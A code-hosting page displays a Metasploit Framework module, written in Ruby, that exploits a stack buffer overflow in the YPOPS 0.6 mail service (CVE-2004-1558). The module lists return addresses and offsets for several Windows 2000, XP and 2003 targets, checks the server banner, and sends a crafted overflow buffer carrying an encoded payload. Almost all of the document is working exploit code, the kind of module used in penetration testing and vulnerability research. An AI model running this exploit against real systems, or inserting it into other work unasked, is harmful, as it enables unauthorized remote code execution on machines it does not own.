CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smtp/ypops_overflow1.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Smtp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'YPOPS 0.6 Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in the YPOPS POP3
16
service.
17
18
This is a classic stack buffer overflow for YPOPS version 0.6.
19
Possibly Affected version 0.5, 0.4.5.1, 0.4.5. Eip point to
20
jmp ebx opcode in ws_32.dll
21
},
22
'Author' => [ 'acaro <acaro[at]jervus.it>' ],
23
'References' =>
24
[
25
[ 'CVE', '2004-1558'],
26
[ 'OSVDB', '10367'],
27
[ 'BID', '11256'],
28
[ 'URL', 'http://www.securiteam.com/windowsntfocus/5GP0M2KE0S.html'],
29
],
30
'Platform' => 'win',
31
'Privileged' => false,
32
'Payload' =>
33
{
34
'Space' => 1200,
35
'BadChars' => "\x00\x25",
36
'MinNops' => 106,
37
},
38
'Targets' =>
39
[
40
[ 'Windows 2000 SP0 Italian', { 'Ret' => 0x74fe6113, 'Offset' => 503 }, ],
41
[ 'Windows 2000 Advanced Server Italian SP4', { 'Ret' => 0x74fe16e2, 'Offset' => 503 }, ],
42
[ 'Windows 2000 Advanced Server SP3 English', { 'Ret' => 0x74fe22f3, 'Offset' => 503 }, ],
43
[ 'Windows 2000 SP0 English', { 'Ret' => 0x75036113, 'Offset' => 503 }, ],
44
[ 'Windows 2000 SP1 English', { 'Ret' => 0x750317b2, 'Offset' => 503 }, ],
45
[ 'Windows 2000 SP2 English', { 'Ret' => 0x7503435b, 'Offset' => 503 }, ],
46
[ 'Windows 2000 SP3 English', { 'Ret' => 0x750322f3, 'Offset' => 503 }, ],
47
[ 'Windows 2000 SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 503 }, ],
48
[ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1636, 'Offset' => 503 }, ],
49
[ 'Windows XP SP2 English', { 'Ret' => 0x71ab773b, 'Offset' => 503 }, ],
50
[ 'Windows 2003 SP0 English', { 'Ret' => 0x71c04202, 'Offset' => 503 }, ],
51
[ 'Windows 2003 SP1 English', { 'Ret' => 0x71c05fb0, 'Offset' => 503 }, ],
52
],
53
'DisclosureDate' => '2004-09-27'))
54
end
55
56
def check
57
connect
58
disconnect
59
60
banner.gsub!(/\n/, '')
61
62
if banner =~ /YahooPOPs! Simple Mail Transfer Service Ready/
63
vprint_status("Vulnerable SMTP server: #{banner}")
64
return Exploit::CheckCode::Detected
65
end
66
67
vprint_status("Unknown SMTP server: #{banner}")
68
return Exploit::CheckCode::Safe
69
end
70
71
def exploit
72
connect
73
74
pattern =
75
rand_text_alpha(target['Offset'] - payload.encoded.length) +
76
payload.encoded +
77
[target.ret].pack('V') +
78
"\n"
79
80
print_status("Trying #{target.name} using jmp ebx at #{"0x%.8x" % target.ret}")
81
82
sock.put(pattern)
83
84
handler
85
disconnect
86
end
87
end
88
89